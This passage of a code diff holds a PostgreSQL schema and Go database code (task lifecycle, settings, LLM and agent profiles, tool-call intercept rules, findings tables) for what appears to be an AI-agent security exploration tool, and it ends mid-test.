CREATE INDEX IF NOT EXISTS idx_anchor_asset ON exploration_anchors(asset_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS activity (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
exploration_id BIGINT NOT NULL REFERENCES explorations(id) ON DELETE CASCADE,
|
||||
node_id BIGINT REFERENCES exploration_nodes(id) ON DELETE SET NULL,
|
||||
worker TEXT,
|
||||
kind TEXT,
|
||||
tool TEXT,
|
||||
tool_use_id TEXT,
|
||||
is_error BOOLEAN NOT NULL DEFAULT false,
|
||||
summary TEXT,
|
||||
detail TEXT,
|
||||
input_tokens INTEGER,
|
||||
output_tokens INTEGER,
|
||||
cache_read_tokens INTEGER,
|
||||
cache_write_tokens INTEGER,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_act_node ON activity(exploration_id, node_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_act_since ON activity(exploration_id, id);
|
||||
|
||||
-- =====================================================================
|
||||
-- C. LLM profiles
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS settings (
|
||||
key TEXT PRIMARY KEY,
|
||||
value TEXT NOT NULL,
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS llm_profiles (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
name TEXT NOT NULL UNIQUE,
|
||||
format TEXT NOT NULL CHECK (format IN ('openai','anthropic')),
|
||||
base_url TEXT,
|
||||
proxy TEXT,
|
||||
model TEXT NOT NULL,
|
||||
api_key TEXT,
|
||||
api_key_hint TEXT,
|
||||
rate_per_second DOUBLE PRECISION NOT NULL DEFAULT 0,
|
||||
rate_per_minute DOUBLE PRECISION NOT NULL DEFAULT 0,
|
||||
context_window_k INTEGER NOT NULL DEFAULT 0,
|
||||
reasoning_effort TEXT NOT NULL DEFAULT '',
|
||||
is_default BOOLEAN NOT NULL DEFAULT false,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_llm_one_default ON llm_profiles(is_default) WHERE is_default;
|
||||
DROP TRIGGER IF EXISTS trg_llm_upd ON llm_profiles;
|
||||
CREATE TRIGGER trg_llm_upd BEFORE UPDATE ON llm_profiles
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
-- =====================================================================
|
||||
-- D. 任务层
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS tasks (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
description TEXT NOT NULL,
|
||||
goal TEXT NOT NULL,
|
||||
exploration_id BIGINT NOT NULL UNIQUE
|
||||
REFERENCES explorations(id) ON DELETE RESTRICT,
|
||||
status TEXT NOT NULL DEFAULT 'created'
|
||||
CHECK (status IN ('created','running','paused','done','failed','timeout')),
|
||||
paused BOOLEAN NOT NULL DEFAULT false,
|
||||
llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
|
||||
company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL,
|
||||
parent_ref TEXT,
|
||||
timeout_seconds INTEGER NOT NULL DEFAULT 0,
|
||||
first_run_at TIMESTAMPTZ,
|
||||
deadline_at TIMESTAMPTZ,
|
||||
deleted_at TIMESTAMPTZ,
|
||||
completed_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_tasks_alive ON tasks(created_at DESC) WHERE deleted_at IS NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_tasks_status ON tasks(status) WHERE deleted_at IS NULL;
|
||||
DROP TRIGGER IF EXISTS trg_tasks_upd ON tasks;
|
||||
CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
-- =====================================================================
|
||||
-- E. Agents / 提示词模板 / 变量目录
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS agents (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
key TEXT NOT NULL UNIQUE CHECK (key ~ '^[a-z][a-z0-9_]*$'),
|
||||
name TEXT NOT NULL,
|
||||
description TEXT,
|
||||
role TEXT NOT NULL,
|
||||
builtin BOOLEAN NOT NULL DEFAULT true,
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
|
||||
current_prompt_id BIGINT,
|
||||
max_turns INTEGER NOT NULL DEFAULT 0,
|
||||
run_seconds INTEGER NOT NULL DEFAULT 600,
|
||||
web_search BOOLEAN NOT NULL DEFAULT false,
|
||||
interactive_shell BOOLEAN NOT NULL DEFAULT false,
|
||||
wrapup_prompt TEXT NOT NULL DEFAULT '',
|
||||
wrapup_max_turns INTEGER NOT NULL DEFAULT 0,
|
||||
task_timeout_wrapup_prompt TEXT NOT NULL DEFAULT '',
|
||||
task_timeout_wrapup_max_turns INTEGER NOT NULL DEFAULT 0,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
CONSTRAINT agents_role_ck CHECK (role IN ('goals','main','planner','worker','assistant'))
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_agents_upd ON agents;
|
||||
CREATE TRIGGER trg_agents_upd BEFORE UPDATE ON agents
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS agent_prompts (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_id BIGINT NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
version INT NOT NULL,
|
||||
template_text TEXT NOT NULL,
|
||||
note TEXT,
|
||||
updated_by TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
UNIQUE (agent_id, version)
|
||||
);
|
||||
-- 循环外键：agents.current_prompt_id → agent_prompts.id（需在两表创建后加）
|
||||
DO $$ BEGIN
|
||||
ALTER TABLE agents ADD CONSTRAINT fk_agents_curprompt
|
||||
FOREIGN KEY (current_prompt_id) REFERENCES agent_prompts(id) ON DELETE SET NULL;
|
||||
EXCEPTION WHEN duplicate_object THEN NULL; END $$;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS agent_prompt_vars (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_id BIGINT NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
var_name TEXT NOT NULL,
|
||||
description TEXT,
|
||||
example TEXT,
|
||||
source TEXT NOT NULL CHECK (source IN ('exploration','runtime','distilled')),
|
||||
UNIQUE (agent_id, var_name)
|
||||
);
|
||||
|
||||
-- =====================================================================
|
||||
-- F. MCP 服务
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS mcp_servers (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
name TEXT NOT NULL UNIQUE,
|
||||
transport TEXT NOT NULL CHECK (transport IN ('stdio','http')),
|
||||
command TEXT,
|
||||
args JSONB NOT NULL DEFAULT '[]',
|
||||
env JSONB NOT NULL DEFAULT '{}',
|
||||
url TEXT,
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_mcp_upd ON mcp_servers;
|
||||
CREATE TRIGGER trg_mcp_upd BEFORE UPDATE ON mcp_servers
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
-- 默认数据源占位：ScopeSentry 资产同步 MCP（地址与认证均留空、未启用）。
|
||||
-- 供「资产同步」页检测数据源是否已配置；用户在页面填入 url 与 X-API-Key 后再启用。
|
||||
-- 仅在缺失时插入，绝不覆盖用户已配置/已启用的服务器（schema.sql 每次启动都会 Exec）。
|
||||
INSERT INTO mcp_servers (name, transport, url, env, enabled)
|
||||
VALUES ('ScopeSentry', 'http', NULL, '{"X-API-Key":""}', false)
|
||||
ON CONFLICT (name) DO NOTHING;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS mcp_tools_cache (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
server_id BIGINT NOT NULL REFERENCES mcp_servers(id) ON DELETE CASCADE,
|
||||
tool_name TEXT NOT NULL,
|
||||
description TEXT,
|
||||
schema JSONB,
|
||||
discovered_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
UNIQUE (server_id, tool_name)
|
||||
);
|
||||
|
||||
-- =====================================================================
|
||||
-- G. 可见性：agent × mcp / skill
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS agent_visibility (
|
||||
agent_id BIGINT NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
resource_kind TEXT NOT NULL CHECK (resource_kind IN ('mcp')),
|
||||
resource_id BIGINT NOT NULL,
|
||||
mcp_tool_name TEXT NOT NULL DEFAULT '',
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
PRIMARY KEY (agent_id, resource_kind, resource_id, mcp_tool_name)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_vis_resource ON agent_visibility(resource_kind, resource_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS agent_skill_visibility (
|
||||
agent_id BIGINT NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
skill_name TEXT NOT NULL,
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
PRIMARY KEY (agent_id, skill_name)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_askv_skill ON agent_skill_visibility(skill_name);
|
||||
|
||||
-- =====================================================================
|
||||
-- H. 内置工具目录
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS tools (
|
||||
key TEXT PRIMARY KEY,
|
||||
system BOOLEAN NOT NULL DEFAULT true,
|
||||
description TEXT NOT NULL DEFAULT '',
|
||||
schema JSONB NOT NULL DEFAULT '{}',
|
||||
agents JSONB NOT NULL DEFAULT '[]',
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
kind TEXT NOT NULL DEFAULT 'builtin',
|
||||
exec JSONB NOT NULL DEFAULT '{}',
|
||||
deferred BOOLEAN NOT NULL DEFAULT false,
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_tools_upd ON tools;
|
||||
CREATE TRIGGER trg_tools_upd BEFORE UPDATE ON tools
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
-- =====================================================================
|
||||
-- I. 会话（对话页）
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS conversations (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_key TEXT NOT NULL,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_conversations_upd ON conversations;
|
||||
CREATE TRIGGER trg_conversations_upd BEFORE UPDATE ON conversations
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS conversation_activities (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
conversation_id BIGINT NOT NULL REFERENCES conversations(id) ON DELETE CASCADE,
|
||||
worker TEXT,
|
||||
kind TEXT,
|
||||
tool TEXT,
|
||||
tool_use_id TEXT,
|
||||
is_error BOOLEAN NOT NULL DEFAULT false,
|
||||
summary TEXT,
|
||||
detail TEXT,
|
||||
input_tokens INTEGER,
|
||||
output_tokens INTEGER,
|
||||
cache_read_tokens INTEGER,
|
||||
cache_write_tokens INTEGER,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_conv_act ON conversation_activities(conversation_id, id);
|
||||
|
||||
-- =====================================================================
|
||||
-- J. Agent 触发器
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS agent_triggers (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_key TEXT NOT NULL,
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
interval_sec INTEGER NOT NULL DEFAULT 0,
|
||||
on_finding BOOLEAN NOT NULL DEFAULT false,
|
||||
on_goal_met BOOLEAN NOT NULL DEFAULT false,
|
||||
on_task_timeout BOOLEAN NOT NULL DEFAULT false,
|
||||
interval_message TEXT NOT NULL DEFAULT '',
|
||||
finding_message TEXT NOT NULL DEFAULT '',
|
||||
goal_message TEXT NOT NULL DEFAULT '',
|
||||
task_timeout_message TEXT NOT NULL DEFAULT '',
|
||||
last_fire TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_agent_triggers_agent ON agent_triggers(agent_key);
|
||||
DROP TRIGGER IF EXISTS trg_agent_triggers_upd ON agent_triggers;
|
||||
CREATE TRIGGER trg_agent_triggers_upd BEFORE UPDATE ON agent_triggers
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS scheduler_state (
|
||||
key TEXT PRIMARY KEY,
|
||||
value TEXT NOT NULL DEFAULT ''
|
||||
);
|
||||
|
||||
-- =====================================================================
|
||||
-- K. 拦截规则
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS intercept_rules (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
priority INTEGER NOT NULL DEFAULT 0,
|
||||
match_target TEXT NOT NULL CHECK (match_target IN ('tool_name', 'tool_input')),
|
||||
match_type TEXT NOT NULL CHECK (match_type IN ('string', 'regex')),
|
||||
pattern TEXT NOT NULL,
|
||||
action TEXT NOT NULL CHECK (action IN ('allow', 'deny', 'ask')),
|
||||
message TEXT NOT NULL DEFAULT '',
|
||||
timeout_enabled BOOLEAN NOT NULL DEFAULT true,
|
||||
timeout_seconds INTEGER NOT NULL DEFAULT 60,
|
||||
timeout_action TEXT NOT NULL DEFAULT 'deny',
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_intercept_rules_upd ON intercept_rules;
|
||||
CREATE TRIGGER trg_intercept_rules_upd BEFORE UPDATE ON intercept_rules
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS intercept_pending (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
rule_id BIGINT REFERENCES intercept_rules(id) ON DELETE SET NULL,
|
||||
conversation_id BIGINT REFERENCES conversations(id) ON DELETE CASCADE,
|
||||
task_id TEXT,
|
||||
agent_name TEXT NOT NULL DEFAULT '',
|
||||
tool_name TEXT NOT NULL,
|
||||
tool_input JSONB NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'pending'
|
||||
CHECK (status IN ('pending', 'allowed', 'denied', 'timeout')),
|
||||
decided_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_intercept_pending_status ON intercept_pending(status, created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_intercept_pending_task ON intercept_pending(task_id, created_at DESC);
|
||||
|
||||
-- =====================================================================
|
||||
-- L. 漏洞发现持久化
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS findings (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
task_id BIGINT REFERENCES tasks(id) ON DELETE SET NULL,
|
||||
node_id BIGINT REFERENCES exploration_nodes(id) ON DELETE SET NULL,
|
||||
vulnclass TEXT NOT NULL DEFAULT '',
|
||||
severity TEXT NOT NULL DEFAULT '',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
evidence TEXT NOT NULL DEFAULT '',
|
||||
worker TEXT NOT NULL DEFAULT '',
|
||||
asset_ids JSONB NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id, created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_findings_time ON findings(created_at DESC);
|
||||
|
||||
-- =====================================================================
|
||||
-- M. 后端日志持久化
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS server_logs (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
level TEXT NOT NULL DEFAULT 'info',
|
||||
tag TEXT NOT NULL DEFAULT '',
|
||||
text TEXT NOT NULL DEFAULT ''
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_server_logs_id ON server_logs(id DESC);
|
||||
@@ -0,0 +1,43 @@
|
||||
package db
|
||||
|
||||
import "database/sql"
|
||||
|
||||
// Settings is a tiny key-value store for global app config the UI toggles at
|
||||
// runtime (e.g. traffic_capture). Missing keys fall back to caller defaults.
|
||||
|
||||
// GetSetting returns the stored value and ok=false when the key is unset.
|
||||
func (d *DB) GetSetting(key string) (value string, ok bool, err error) {
|
||||
err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
|
||||
if err == sql.ErrNoRows {
|
||||
return "", false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
return value, true, nil
|
||||
}
|
||||
|
||||
// SetSetting upserts a setting value.
|
||||
func (d *DB) SetSetting(key, value string) error {
|
||||
_, err := d.Exec(`
|
||||
INSERT INTO settings(key, value) VALUES ($1, $2)
|
||||
ON CONFLICT (key) DO UPDATE SET value = EXCLUDED.value, updated_at = now()`, key, value)
|
||||
return err
|
||||
}
|
||||
|
||||
// GetBool returns the boolean setting, or def when unset/unparseable.
|
||||
func (d *DB) GetBool(key string, def bool) bool {
|
||||
v, ok, err := d.GetSetting(key)
|
||||
if err != nil || !ok {
|
||||
return def
|
||||
}
|
||||
return v == "true" || v == "1"
|
||||
}
|
||||
|
||||
// SetBool stores a boolean setting as "true"/"false".
|
||||
func (d *DB) SetBool(key string, val bool) error {
|
||||
if val {
|
||||
return d.SetSetting(key, "true")
|
||||
}
|
||||
return d.SetSetting(key, "false")
|
||||
}
|
||||
+196
@@ -0,0 +1,196 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Task is a row in the task registry (1:1 with an exploration).
|
||||
type Task struct {
|
||||
ID int64 `json:"id"`
|
||||
Description string `json:"description"`
|
||||
Goal string `json:"goal"`
|
||||
ExplorationID int64 `json:"exploration_id"`
|
||||
Status string `json:"status"`
|
||||
Paused bool `json:"paused"`
|
||||
LLMProfileID *int64 `json:"llm_profile_id,omitempty"`
|
||||
ParentRef string `json:"parent_ref,omitempty"` // 父任务 id(编排 spawn 记录;空=顶层)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
CompletedAt *time.Time `json:"completed_at,omitempty"` // 进入终态(done/failed/timeout)的时刻;非终态为 nil
|
||||
// 任务级超时(见 docs/任务级超时与收尾设计.md)。
|
||||
TimeoutSeconds int `json:"timeout_seconds"` // 0=不限时
|
||||
FirstRunAt *time.Time `json:"first_run_at,omitempty"` // 首次真正开始运行的时刻(非 created_at);nil=尚未运行
|
||||
DeadlineAt *time.Time `json:"deadline_at,omitempty"` // = first_run_at + timeout_seconds;nil=不限或未运行
|
||||
}
|
||||
|
||||
// IsTerminal reports whether a task status is a terminal (finished) state.
|
||||
// 单一真源，替换散落各处的 done/failed 硬编码判定。
|
||||
func IsTerminal(status string) bool {
|
||||
return status == "done" || status == "failed" || status == "timeout"
|
||||
}
|
||||
|
||||
// CreateTask creates an exploration + task in one transaction and returns the task.
|
||||
// timeoutSeconds is the task-level wall-clock budget (0 = 不限时); deadline_at is
|
||||
// stamped later at first real run (see engine), not here.
|
||||
func (d *DB) CreateTask(description, goal string, llmProfileID *int64, timeoutSeconds int) (*Task, error) {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
var expID int64
|
||||
if err := tx.QueryRow(`INSERT INTO explorations(description, goal) VALUES ($1,$2) RETURNING id`, description, goal).Scan(&expID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// origin fact: the exploration graph's root, a KindFact node (state='origin')
|
||||
// holding the original task description. Goals/intents/findings descend from
|
||||
// it, and the seeded target asset is anchored to it as lineage (the asset graph
|
||||
// is global and shared, not isolated per task). Being a fact (not a special 'begin' kind) lets every
|
||||
// intent uniformly connect to a fact node, including the first ones.
|
||||
originPayload, _ := json.Marshal(map[string]any{
|
||||
"summary": "任务起点：" + description + "；目标：" + goal,
|
||||
"description": description,
|
||||
"goal": goal,
|
||||
})
|
||||
if _, err := tx.Exec(`
|
||||
INSERT INTO exploration_nodes(exploration_id, kind, payload, priority, state, origin)
|
||||
VALUES ($1, 'fact', $2, 0, 'origin', 'system')`, expID, string(originPayload)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if timeoutSeconds < 0 {
|
||||
timeoutSeconds = 0
|
||||
}
|
||||
t := &Task{Description: description, Goal: goal, ExplorationID: expID, LLMProfileID: llmProfileID, TimeoutSeconds: timeoutSeconds}
|
||||
if err := tx.QueryRow(`
|
||||
INSERT INTO tasks(description, goal, exploration_id, llm_profile_id, timeout_seconds) VALUES ($1,$2,$3,$4,$5)
|
||||
RETURNING id, status, paused, created_at`, description, goal, expID, llmProfileID, timeoutSeconds).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return t, tx.Commit()
|
||||
}
|
||||
|
||||
const taskCols = `id, description, goal, exploration_id, status, paused, llm_profile_id, COALESCE(parent_ref,''), created_at, completed_at, COALESCE(timeout_seconds,0), first_run_at, deadline_at`
|
||||
|
||||
func scanTask(sc interface{ Scan(...any) error }) (*Task, error) {
|
||||
var t Task
|
||||
if err := sc.Scan(&t.ID, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.LLMProfileID, &t.ParentRef, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.FirstRunAt, &t.DeadlineAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// SetParentRef records a task's parent task id (编排 agent spawn_task 关联).
|
||||
func (d *DB) SetParentRef(id int64, parentRef string) error {
|
||||
_, err := d.Exec(`UPDATE tasks SET parent_ref=NULLIF($2,'') WHERE id=$1`, id, parentRef)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListTasks returns alive tasks, newest first.
|
||||
func (d *DB) ListTasks() ([]*Task, error) {
|
||||
rows, err := d.Query(`SELECT ` + taskCols + ` FROM tasks WHERE deleted_at IS NULL ORDER BY created_at DESC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*Task
|
||||
for rows.Next() {
|
||||
t, err := scanTask(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// GetTask returns one alive task (nil if not found/deleted).
|
||||
func (d *DB) GetTask(id int64) (*Task, error) {
|
||||
t, err := scanTask(d.QueryRow(`SELECT `+taskCols+` FROM tasks WHERE id=$1 AND deleted_at IS NULL`, id))
|
||||
if err != nil {
|
||||
if err.Error() == "sql: no rows in result set" {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
return t, nil
|
||||
}
|
||||
|
||||
// SetPaused persists a task's paused flag.
|
||||
func (d *DB) SetPaused(id int64, paused bool) error {
|
||||
_, err := d.Exec(`UPDATE tasks SET paused=$1 WHERE id=$2`, paused, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetStatus updates a task's lifecycle status. Entering a terminal state
|
||||
// (done/failed/timeout) stamps completed_at once (COALESCE keeps the first stamp
|
||||
// stable); moving back to a non-terminal state clears it, so a re-run has no stale
|
||||
// finish time.
|
||||
func (d *DB) SetStatus(id int64, status string) error {
|
||||
_, err := d.Exec(`
|
||||
UPDATE tasks
|
||||
SET status = $1,
|
||||
completed_at = CASE WHEN $1 IN ('done','failed','timeout') THEN COALESCE(completed_at, now()) ELSE NULL END
|
||||
WHERE id = $2`, status, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetTerminalStatusGuarded sets a terminal status only when the task is NOT already
|
||||
// terminal, so a completed↔timeout race resolves to the first writer (won=true).
|
||||
// Returns won=false (no error) when another terminal status already stuck — the
|
||||
// caller then leaves it alone. Non-terminal transitions / re-run still use SetStatus.
|
||||
func (d *DB) SetTerminalStatusGuarded(id int64, status string) (won bool, err error) {
|
||||
res, err := d.Exec(`
|
||||
UPDATE tasks
|
||||
SET status = $1,
|
||||
completed_at = COALESCE(completed_at, now())
|
||||
WHERE id = $2 AND status NOT IN ('done','failed','timeout')`, status, id)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
return n > 0, nil
|
||||
}
|
||||
|
||||
// StampFirstRun records a task's first-real-run moment and computes its absolute
|
||||
// deadline (= now + timeoutSeconds). Idempotent: only stamps when first_run_at is
|
||||
// still NULL, so restarts / re-entries keep the original clock. timeoutSeconds<=0
|
||||
// leaves deadline_at NULL (不限时). Returns the resulting deadline (nil = 不限/未变).
|
||||
func (d *DB) StampFirstRun(id int64, timeoutSeconds int) (*time.Time, error) {
|
||||
var deadline *time.Time
|
||||
err := d.QueryRow(`
|
||||
UPDATE tasks
|
||||
SET first_run_at = COALESCE(first_run_at, now()),
|
||||
deadline_at = CASE
|
||||
WHEN first_run_at IS NOT NULL THEN deadline_at -- 已盖过章：不动
|
||||
WHEN $2 > 0 THEN now() + make_interval(secs => $2)
|
||||
ELSE NULL END
|
||||
WHERE id = $1
|
||||
RETURNING deadline_at`, id, timeoutSeconds).Scan(&deadline)
|
||||
return deadline, err
|
||||
}
|
||||
|
||||
// DeleteTask hard-deletes a task and its exploration subgraph (nodes/edges/
|
||||
// activity via ON DELETE CASCADE). The task row is removed first so the
|
||||
// ON DELETE RESTRICT on tasks.exploration_id does not block the exploration delete.
|
||||
// Global assets are NOT touched.
|
||||
func (d *DB) DeleteTask(id int64) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
var expID int64
|
||||
if err := tx.QueryRow(`SELECT exploration_id FROM tasks WHERE id=$1`, id).Scan(&expID); err != nil {
|
||||
if err.Error() == "sql: no rows in result set" {
|
||||
return nil // already gone
|
||||
}
|
||||
return err
|
||||
}
|
||||
if _, err := tx.Exec(`DELETE FROM tasks WHERE id=$1`, id); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := tx.Exec(`DELETE FROM explorations WHERE id=$1`, expID); err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package db
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestTaskLifecycleAndDeleteCascade(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
tk, err := d.CreateTask("迁移测试", "目标X", nil, 0)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// populate the exploration subgraph
|
||||
es := d.Exploration(tk.ExplorationID)
|
||||
if _, err := es.AddIntent(map[string]any{"summary": "x"}, 5, nil, "planner"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// pause + status
|
||||
if err := d.SetPaused(tk.ID, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := d.GetTask(tk.ID)
|
||||
if err != nil || got == nil || !got.Paused {
|
||||
t.Fatalf("paused not persisted: %+v err=%v", got, err)
|
||||
}
|
||||
|
||||
// list contains it
|
||||
list, _ := d.ListTasks()
|
||||
found := false
|
||||
for _, x := range list {
|
||||
if x.ID == tk.ID {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("task not in list")
|
||||
}
|
||||
|
||||
// delete cascades exploration subgraph
|
||||
if err := d.DeleteTask(tk.ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if g, _ := d.GetTask(tk.ID); g != nil {
|
||||
t.Fatalf("task should be gone")
|
